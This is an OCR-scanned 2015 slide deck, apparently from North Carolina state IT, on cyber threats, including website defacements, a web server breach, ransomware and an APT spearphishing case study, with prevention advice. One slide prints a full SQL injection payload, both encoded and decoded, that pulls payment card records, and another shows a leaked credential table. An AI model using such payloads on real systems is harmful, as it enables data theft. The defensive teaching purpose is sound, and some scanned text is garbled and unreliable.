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October 27, 2015
Cyber Threats and Trends

= Nothing Compares —_-

NORTH CAROLINA

Topics

 Threats & Trends

» Adversaries
- Have we seen them?
* Denial of Service Attacks
 Web Defacements
» System Compromises
« Ransomware

 Trends
* More Flash and Java Exploits
» More devices = bigger target pool (loT) m
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Insider Uber Geek

* Just because you can, doesn’t mean you should...
» Set up a web server on a desktop/laptop system
* Anyone in the network could link to the host over port 80
 Default page was a series of bookmarks in htmi

« Some linked to administrative interfaces on
departmental servers and had username and password

for the account login
» About 30% of the links were not work related

4
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Insider Uber Geek
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port 80

Ithental

Web Defacements

fleetservices.ncsu.edu Example:
North Carolina State

University

» Targets of Opportunity
* Wordpress Plugin
» Political Messages

* MexicanHackers is a
single Muslim Mexican
hacker voicing support
of ISIL/ISIS and
distrust of current
Mexican government
leadership.
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Web Defacements

Information Technology

Example:
Winston-Salem State
University

Targets of Opportunity
Political Messages

AnonGhost — currently
has a campaign called
#OpChapelHill
targeting college web
sites in retaliation for
the shootings of three
Muslim students in
February.
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Web Defacements

HaCked By Toxic Dz

Information Technology

“ Example:
readync.org

Targets of Opportunity
* Exposed Upload
Script
Political Messages

ToxicDZ (TeamD2Z)
Algerian Hackers —
Stopped short of direct
support of ISIL/ISIS.
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Web Defacements

iSlam FoR EveR Example:
readync.org

» Targets of Opportunity
* Exposed Upload
Script
» Political Messages

» Hp-Hack Saudi
Arabian hackers.

Saudi arabia Hackers m
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Secure Coding (1)

* Many applications within State government are
home grown or custom from a vendor

* Problem:

* We don’t include language in contracts to
hold the vendors accountable or require
them to adhere to secure coding best
practices

* We leverage non-technical personnel with an
interest and limited skill set to develop
applications m
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Secure Coding (2)

* Non-Technical Personnel:
* Not aware of the security threat
* Not trained to program securely

* Include variables and sensitive data in
URLs (passwords)

* Don’t understand the need to examine
and validate input from users and other
systems
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Secure Coding (3)

* Need to validate input is what it purports to be

* Png upload could really be a webshell php/asp
script

* Field inputs do not contain codes or
instructions that might be interpreted by back
end systems to provide information on the
server design, capabilities, or protected
database contents (SQL.i)
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Secure Coding (4)

* Check inputs meet the expected variable type
and size limits and discard or sanitize avoid buffer
overflows which might return memory contents or
result in execution of code inserted in the excess
data
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Web Server Data Compromise

Notification: Post to PasteBin service - Found by AP reporter who contacted PIO
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-- contact:https://www.facebook.com/pages/KelvinSecurity/1470285456587684
author: kelvinsecurity

Wto Kelvinsecurity?

Kelvinsecurity 3'aynseuua xakep TBap wykae 36opy iHdapmaubli BAnikix nwp3seit na ycim ceue, naanyyaHsix
Aa ceTki, i ypasnisbiA pa raTeix nnaTtdopmax.
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Host User Password
127.0.0.1 root 1618133527927dee
Tocalhost Tocharne 431d5c113129FAR2
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Web Server Data Compromise

Attempt to evade IDS by obfuscating the
Obfuscated:

SQL Injection commands used...

Converted:

family=999999.9%27%20union%20all%20select
%200x31303235343830303536%2C%28select%20c
oncat%280x27%2COx7e%2Cunhex%28Hex%28cast%
28pcard_users.last_name%20as%20char%29%29
%29%2COx5e%2Cunhex%28Hex%28cast%28pcard_u
sers.pcard_numname%20as%20char%29%29%29%2
COx5e%2Cunhex%28Hex%28cast%28pcard_users.
card_number%20as%20char%29%29%29%2C0x5e%2
Cunhex%28Hex%28cast%28pcard_users.first_n
ame%20as%20char%29%29%29%2C0x5e%2Cunhex%2
8Hex%28cast%28pcard_users.bank%20as%20cha
r%29%29%29%2COx5e%2Cunhex%28Hex%28cast%28
pcard_users.transactions%20as%20char%29%2
9%29%2COx5e%2Cunhex%28Hex%28cast%28pcard_
users.location%20@as%20char%29%29%29%2C0x2
7%2COx7e%29%20from%20%60bdb_backup%60.pca
rd_users%201imit%207%2C1%29%20%2C0x313032
35343830303536%2C0x31303235343830303536%2
0and%20%27x%27%3D%27x

family=999999.9"' union all select
0x31303235343830303536, (select
concat(0x27,0x7e,unhex(Hex(cast(pcard_use
rs.last_name as
char))),0x5e,unhex(Hex(cast(pcard_users.p
card_numname as
char))),0x5e,unhex(Hex(cast(pcard_users.c
ard_number as
char))),0x5e,unhex(Hex(cast(pcard_users.f
irst_name as
char))),0x5e,unhex(Hex(cast(pcard_users.b
ank as
char))),0x5e,unhex(Hex(cast(pcard_users.t
ransactions as
char))),0x5e,unhex(Hex(cast(pcard_users.1l
ocation as char))),0x27,0x7e) from
“bdb_backup® .pcard_users limit 7,1)
,0x31303235343830303536,0x313032353438303
03536 and 'x'='x
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Web Server Data Compromise

Kelvinsecurity 3'synsievua xakep TBap Luykae 36opy iHhapmaLbli BANikix noasen
na ycim cBeue, nagnyyaHbix Aa ceTki, i ypasnisbls ga raTblx nnatgopmax.

platforms.

Kelvinsecurity hacker is a person looking for a collection of information of great
people around the world connected to the network and are vulnerable to these

ST ISR I

KelvinSecurity
e

Timeline
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Ransomware Indicators of Compromise

Yaurtias are anerpen

» System hard disk activity

+ Potentially high CPU usage
(Encryption)

* Increased network activity to file
shares

P by Crppied deceypten

Obitcoin

* Inability to access files
* Presence of Notice/Instructions

* Plasss chach the payment inlssmaton asd cick TAT"

ey

v 0 v . o ol ot ) LISDVEUR, T rvschm 15 800 LISDVELSE
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CTB Notice

Private decryption key is stored on a secret Internet server and can decrypt your files
until you pay and obtain the private key.

d time, all

Press 'View' to view the list of files that have been encrypted.

Press ‘Next” for the next page.

!

G 95:58:10

S S
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TeslaCrypt Notice

T E 8§ L A C R Y P T

All your important files are encrypted.

At the moment,

the cost of private key for decrypting your files is 1.5 BTC ~= 415 USD.

Your Bitcoin address for payment: 1LyW3wyajpsC3j9RitZDip6cDcZTMGE

In case

You can also make a payment with PaySafeCard or Ukash

of payment with PaySafeCard or Ukash your tofal payment is £ 400

Support

IMessage Center

ecrypt your file here

ce once for FREE

Try to

can

e decryption se
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AlphaCrypt Notice

All your documents, phot{i§
with strongest encryptio

Private decryption key is
decrypt your files until yd

If you see the main encry}
Otherwise, it seems that ¥
Now you have the last ch|
Open http://q 7l
https:/ / qcuik
They are public gates to
Copy and paste the follo
92
Follow the instructions ol

If you have problems wit]
1. Download Tor Browse
2. In the Tor Browser o
Note that this server is
Retry in 1 hour if site i
Copy and paste the follo

Follow the instructions o

ur personal files are encrypted!

Your files have been safely encrypted on this PC: photos, videos, documents, etc.
Click "Shaww encrypted files” Button to views a complete lst of encrypted fles,
and you can personally verify this.
Encryption was produced using & unique public key RSA-2048 generated
for this computer. To decrypt files you need to obtain the private key.
The only copy of the private key, which will allow yol to decrypt your files,
is located on a secret server in the Internet; the server will eliminate the key
R Y AT et o time period specied in this windou.
destroyed on: Once this has been done, nobody will ever be able to restore fles...
In order to decrypt the files press button to open your personal page
5/10/2015 File decryption site and follow the instruction.
. in case of "File decryption button” malfunction use one of our gates:
Time left: 04:20:50  [ittw} poth
hxps:/ / gie.de
Use your Bitcoin a s to enter the si

Click to copy address to cliphoard |
if both button and reserve gate not opening, please follow the steps:
You must install this browser wuaw.torproject.org/projects/torbrowser.html.en
After instaiation,run the browser and anter address
Follaw the nstruction on the web-site. We remind you that the sooner you do 5o,
the more chances are left to recover the files.
Any attempt to remove or corrupt this software will result
in immediate elimination of the private key by the server.

for Free Decryplion on

Shaw files Enter Decrypt Key

Information Technology
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Post Infection Ransom

* Instructions
« BitCoins or PayPal ($200 - $1,000)
» Suggests Currency to BTC Conversion Services
* The Onion Router (TOR) Network
* TOR Hidden Payment Site

« Payment (Not Recommended)

 Decryption Key will usually be provided if paid by
deadline (no guarantee)

 Decryption will take as long as encryption
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Recovery

» Remove Infected system from network

« Examine user’s e-mail and web browsing history for
potential source of infection

* Reimage System before bringing back on to the
network

* Restore lost file share and local data from known good
back up media

* Remove ransom instructions (text files) from impacted
folders

12/9/2015 Information Technology
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Prevention (Users)

* User Awareness

* Don’t Keep OR Back up important files on local
system

» Don’t follow links or open attachments in unexpected
or suspicious e-mails

» Report suspicious e-mails to report.spam@nc.qgov
so they can be filtered

» Web browsing should be work related
» Suggestion: Do not allow checking of personal e-mail
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from State systems m

Prevention (System Controls)

» End User Accounts should not be
administrators on their local system

* Implement Microsoft AppLocker GPO

* Prevents execution of files from the
c:/Users/<user>/AppData/ folder and
subs

* Application Whitelisting/SW Restriction
« Utilize WCF and DNS FW
» Patch — OS to plugins (Flash, Java)
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* Allow/Install Pop-up and Ad Blockers m
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State Perspective

» Ransomware infections are a reportable incident to the State
ClO
» Engage DIT AD team for GPO support
* Follow-up with a report to www.ic3.gov
* Provide “Crypto ” and “ransomware” as keywords in

report
» Builds victim list for FBI to use if suspects are indicted for

building, distributing and receiving payments associated with

the ransomware
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] T %
re.SHell = SSHinrthe Matrix

Starting nmap U, 2 _SHBETA2S
1 Insufficient responses for TCP
accurate
Interesting ports on 10.2.2.2:
lrn 1539 ports scanned but not shown below are in state: closed)
State Service
open ssh

sequencing (3), 0S detection may be less

No exact 0S matches for host
Nmap run completed -- 1 IP address (1 host up) scanneds
# sshnuke 10.2.2.2 “Z210N0101
Connecting to 10.2, S Eire= )mtpaaful
Attempting to (xplu 1 successful.
Reseting lnul password to /1(]Nﬂ1ll

Access Level <9>

1 root
|unrtd1 8.2. ?*'s password:

G000 00 =b = S

ooF _CANTROL > disable grid nodes 21 - 48

12/9/2015 w wihformation Technology.
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SSH Attempted Intrusions (Targets)

2008 2009

2010

2011

2012

2013

2014

—o—China

~@—United States

=>é=Korea Republic of

~=¥=India

Russian Federation
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SSH Attempted Intrusions (Targets)
Country 2008 2009 2010 2011 2012 2013 2014 Avg
China 25.65% 34.57% 36.82% 32.06% 44.60% 48.40% 44.60% 38.10%
United States 25.14% 16.26% 14.56% 14.60% 14.48% 13.34% 14.48% 16.12%
Korea Republic of 556% 5.70% 9.52% 6.82% 5.54% 4.64% 5.54% 6.19%
Unknown 0.02% 2.43% 135% 6.06% 4.10% 196% 4.10% 2.86%
India 230% 2.38% 2.90% 2.39% 2.20% 1.65% 2.20% 2.29%
Russian Federation 1.32% 2.09% 1.76% 2.35% 2.75% 2.20% 2.75% 2.17%
Germany 230% 1.68% 1.84% 3.28% 1.83% 2.29% 1.83% 2.15%
Brazil 3.10% 2.51% 2.45% 194% 1.61% 1.65% 1.61% 2.13%
Taiwan 234% 2.57% 1.78% 1.59% 1.11% 1.05% 1.11% 1.65%
United Kingdom 1.77% 1.28% 2.05% 1.88% 1.49% 1.57% 1.49% 1.65%
France 1.91% 1.87% 1.25% 2.42% 136% 0.89% 1.36% 1.58%
Japan 3.52% 1.66% 0.96% 0.70% 0.88% 0.99% 0.88% 1.37%
Canada 1.30% 1.66% 0.82% 2.89% 0.78% 1.09% 0.78% 1.33%
Netherlands 1.14% 1.20% 0.88% 1.90% 137% 091% 1.37% 1.25%
Turkey 0.37% 094% 1.34% 1.18% 1.29% 2.34% 1.29% 1.25%
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Verizon External Actor Origination

China
Romania
United States
Bulgaria
Russia
Netherlands
Armenia
Germany
Colombia

Brazil

Financial [Espionage Other
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In the News

IR Y "I"EIE. E 1B X

Conspiring to Commit Computer Frand; Accessing a Computer Without Authorization for the Purpose
of Commercial Advantage and Private Financial Gain; Damaging Computers Through the
Transmission of Code and Commands; Aggravated Identity Theft; Economic Espionage; Theft of
Trade Secrets

Huang Zhenyu  Wen Xinyu Sun Kailiang Gu Chunhui  Wang Dong

12/9/2015 Information Technology
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In the News
THE I DIPLOMAT

Know the Asia-Pacific

CENTRALASIA = EASTASIA OCEANIA SOUTHASIA SOUTHEASTASIA ECONOMY & DIPLOMACY  ENVIRON

BLOGS INTERVIEWS PHOTO ESSAYS VIDEOS PODCASTS

CHINA POWER

China (Finally) Admits to
Hacking
An updated military document for the first

time admits that the Chinese government
sponsors offensive cyber units.

000600

China’s military has finally pulled back the curtain on
its cyber strategy, admitting for the first time that it
(like countries around the world) has cyber units set
up not only for defense, but for attack.

MAGAZINE

China keyboard image via Shutterstock

Officiallv China’s line has alwavs heen that its sovernment dnes nat snonsor anv form af hacking Those denials
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Hacking 9 — 5 Beijing Time
seifications Dirsction
Top Impacted Entities igin Hosts
12/9/2015 Information Technology
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Hacking 9 — 5 Beijing Time

Top Impacted Entlties

Information Technology
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NOo ok RE

Advanced Persistent Threats (APT)

TTP’s and Cyber Kill Chain

Reconnaissance
Weaponize

Delivery

Exploit

Installation

Command & Control (C2)
Actions on Objectives

Information Technology
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APT Spearphish Case Study Recap

* Reconnaissance — Identify potential group that has or will have
access to information desired — find valid contents for p &/Ioad Used
Staff Directory from Rail Division Web Site (12/5/2013 - China
1.202.124.195) www.bytrain. orq/redbarlnfo/staff/DefauIt html

* Weaponize — Add exploit code to Word Document that contains valid
staff directory - Exploit MS12-027 (April 2012)

» Delivery — Spoof e-mail address of Director@ncdot.gov and send e-
mail with links to malicious document to people listed in staff
directory. (12/10/2013)

» Exploit — Have recipients download and open malicious file.
* Installation — Exploit code compromises system.
+ Command & Control (C2) — Systems phone home to adversary.

» Actions on Objectives — Adversary installs additional malicious
software and begins to move laterally in the network collecting and

exfiltrating desired information. m
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Trends — Flash Exploits

|n the first quarter New Adobe Flash Vulnerabilities Discovered

42 new Flash 4
vulnerabilities were 0
found, an increase of s
50% from the 28 Flash =

vulnerabilities found in =
the fourth quarter of 20
2014. It is the highest- ™
ever number of Flash ™
vulnerabilities reported ° I
]
Q1 Q2

in a quarter.

2014 2015

Source: National Vulnerability Database. m

Information Technology 36

12/9/2015

18



Exploit Kits Targeted Vulns

Q2-2014 Q3-2014 Q4-2014 Q1-2015

ANGLER KIT

7%
= 46%
54%
79%
19%
81%

* Flash (swf)

« Java (jar)

NUCLEARKIT

E
:
. . w 13%
17%
* Silverlight :
=
S 27%
= 60% 83%
;
H
E
x
:
E
E 100%
:
$
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Questions?
ETOP THINK  CONNECT
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